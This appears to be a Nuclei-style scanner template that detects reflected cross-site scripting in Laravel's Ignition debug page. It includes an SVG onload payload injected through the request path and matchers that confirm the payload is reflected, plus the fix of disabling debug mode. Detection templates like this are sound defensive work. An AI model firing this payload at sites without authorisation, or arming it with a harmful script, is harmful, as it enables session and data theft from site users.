36 lines
931 B
YAML
36 lines
931 B
YAML
id: laravel-ignition-xss
|
|
|
|
info:
|
|
name: Laravel Ignition Cross-Site Scripting
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: |
|
|
Laravel's Ignition contains a cross-site scripting vulnerability when debug mode is enabled.
|
|
remediation: |
|
|
Disable Laravel's debug mode by setting APP_DEBUG to false.
|
|
reference:
|
|
- https://www.acunetix.com/vulnerabilities/web/laravel-ignition-reflected-cross-site-scripting/
|
|
- https://github.com/facade/ignition/issues/273
|
|
tags: laravel,xss,ignition
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/_ignition/scripts/--><svg%20onload=alert(document.domain)>"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "Undefined index: --><svg onload=alert(document.domain)> in file"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 500
|